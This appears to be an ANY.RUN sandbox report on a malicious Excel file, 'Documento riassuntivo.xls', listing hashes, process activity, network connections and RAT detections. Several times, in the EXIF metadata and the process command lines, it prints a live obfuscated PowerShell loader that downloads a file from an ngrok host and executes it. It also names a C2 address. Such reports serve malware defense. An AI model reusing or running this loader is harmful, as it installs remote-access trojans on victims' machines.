File name:

Documento riassuntivo.xls

Full analysis: https://app.any.run/tasks/a7e89a5c-ae00-4271-b71a-035f83617c18
Verdict: Malicious activity
Threats:

Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email.

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Analysis date: March 31, 2020, 08:58:48
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
trojan
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Sat Feb 29 06:36:38 2020, Security: 0
MD5:

CFA54A2D186ABBE29911C4815CEDA9BF

SHA1:

1D2FD668F46D66CE049130483FD8D5971B6826AE

SHA256:

7F390B8886B684246B8B395B29E237FBB75527FC57994F33FEBF0B8D393A8031

SSDEEP:

6144:ilYkRIPPm3eNCZmbpoahZhC0cixIiG0iMM8WxRsqC9HOcCeItP3A4LI5QUwx:MMDPuwItA4siUw

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Connects to CnC server

      • powershell.exe (PID: 3736)
      • powershell.exe (PID: 1872)
      • powershell.exe (PID: 1832)

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 780)

    • Executes PowerShell scripts

      • EXCEL.EXE (PID: 780)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3736)
      • powershell.exe (PID: 1832)
      • powershell.exe (PID: 1872)

  • INFO

    • Reads settings of System Certificates

      • powershell.exe (PID: 3736)

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 780)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (78.9)

EXIF

FlashPix

Title: -
Subject: -
Author: -
Keywords: -
Comments: -
CreateDate: 2015:06:05 18:19:34
ModifyDate: 2020:03:31 06:36:38
Security: None
Category: -
Company: -
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: Foglio1
HeadingPairs:
  • Fogli di lavoro
  • 1
CodePage: Windows Latin 1 (Western European)
HyperlinkBase: powershell.exe -noexit -w 1 $Z = New-Object Net.WebClient;$p = $env:temp;$d = $p+'\i';$Z.DownloadFile('h'+'t'+'t'+'p'+'s'+'://c991d06a.ngrok.io/12', $d);IEX([System.IO.File]::ReadAllText($d))
CompObjUserTypeLen: 42
CompObjUserType: (Foglio di lavoro di Microsoft Excel 2003
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
4
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start excel.exe no specs powershell.exe powershell.exe powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
780"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
1832"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -w 1 $Z = New-Object Net.WebClient;$p = $env:temp;$d = $p+'\i';$Z.DownloadFile('h'+'t'+'t'+'p'+'s'+'://c991d06a.ngrok.io/12', $d);IEX([System.IO.File]::ReadAllText($d))C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1872"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -w 1 $Z = New-Object Net.WebClient;$p = $env:temp;$d = $p+'\i';$Z.DownloadFile('h'+'t'+'t'+'p'+'s'+'://c991d06a.ngrok.io/12', $d);IEX([System.IO.File]::ReadAllText($d))C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3736"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -w 1 $Z = New-Object Net.WebClient;$p = $env:temp;$d = $p+'\i';$Z.DownloadFile('h'+'t'+'t'+'p'+'s'+'://c991d06a.ngrok.io/12', $d);IEX([System.IO.File]::ReadAllText($d))C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
1 473
Read events
1 208
Write events
254
Delete events
11

Modification events

(PID) Process:(780) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:writeName:z"-
Value:
7A222D000C030000010000000000000000000000
(PID) Process:(780) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(780) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1041
Value:
Off
(PID) Process:(780) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1046
Value:
Off
(PID) Process:(780) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1036
Value:
Off
(PID) Process:(780) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1031
Value:
Off
(PID) Process:(780) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1040
Value:
Off
(PID) Process:(780) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1049
Value:
Off
(PID) Process:(780) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:3082
Value:
Off
(PID) Process:(780) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1042
Value:
Off
Executable files
0
Suspicious files
6
Text files
3
Unknown types
0

Dropped files

PID
Process
Filename
Type
780EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR6A6A.tmp.cvr —
MD5:—
SHA256:—
3736powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\COSYP7L162NPBZJ95XHH.temp —
MD5:—
SHA256:—
1832powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CS5OKL3A5H63V2CSNWBE.temp —
MD5:—
SHA256:—
1872powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BGN5F595WWH5N4ET62HW.temp —
MD5:—
SHA256:—
1832powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:—
SHA256:—
1832powershell.exeC:\Users\admin\AppData\Local\Temp\itext
MD5:—
SHA256:—
3736powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:—
SHA256:—
1872powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFa6df7b.TMPbinary
MD5:—
SHA256:—
1832powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFa6c339.TMPbinary
MD5:—
SHA256:—
1872powershell.exeC:\Users\admin\AppData\Local\Temp\itext
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
6
DNS requests
1
Threats
97

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3736
powershell.exe
3.134.196.116:443
c991d06a.ngrok.io
—
US
malicious
1832
powershell.exe
3.134.196.116:443
c991d06a.ngrok.io
—
US
malicious
3736
powershell.exe
185.244.30.86:8989
—
—
—
malicious
1872
powershell.exe
3.134.196.116:443
c991d06a.ngrok.io
—
US
malicious
1832
powershell.exe
185.244.30.86:8989
—
—
—
malicious
1872
powershell.exe
185.244.30.86:8989
—
—
—
malicious

DNS requests

Domain
IP
Reputation
c991d06a.ngrok.io
  • 3.134.196.116
malicious

Threats

PID
Process
Class
Message
1052
svchost.exe
Potential Corporate Privacy Violation
ET POLICY DNS Query to a *.ngrok domain (ngrok.io)
3736
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] Revenge_RAT connection
3736
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] uWarrior RAT
3736
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] Revenge_RAT connection
3736
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] uWarrior RAT
3736
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] Revenge_RAT connection
3736
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] uWarrior RAT
3736
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] Revenge_RAT connection
3736
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] uWarrior RAT
1832
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] Revenge_RAT connection
32 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
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Reports
Documento riassuntivo.xls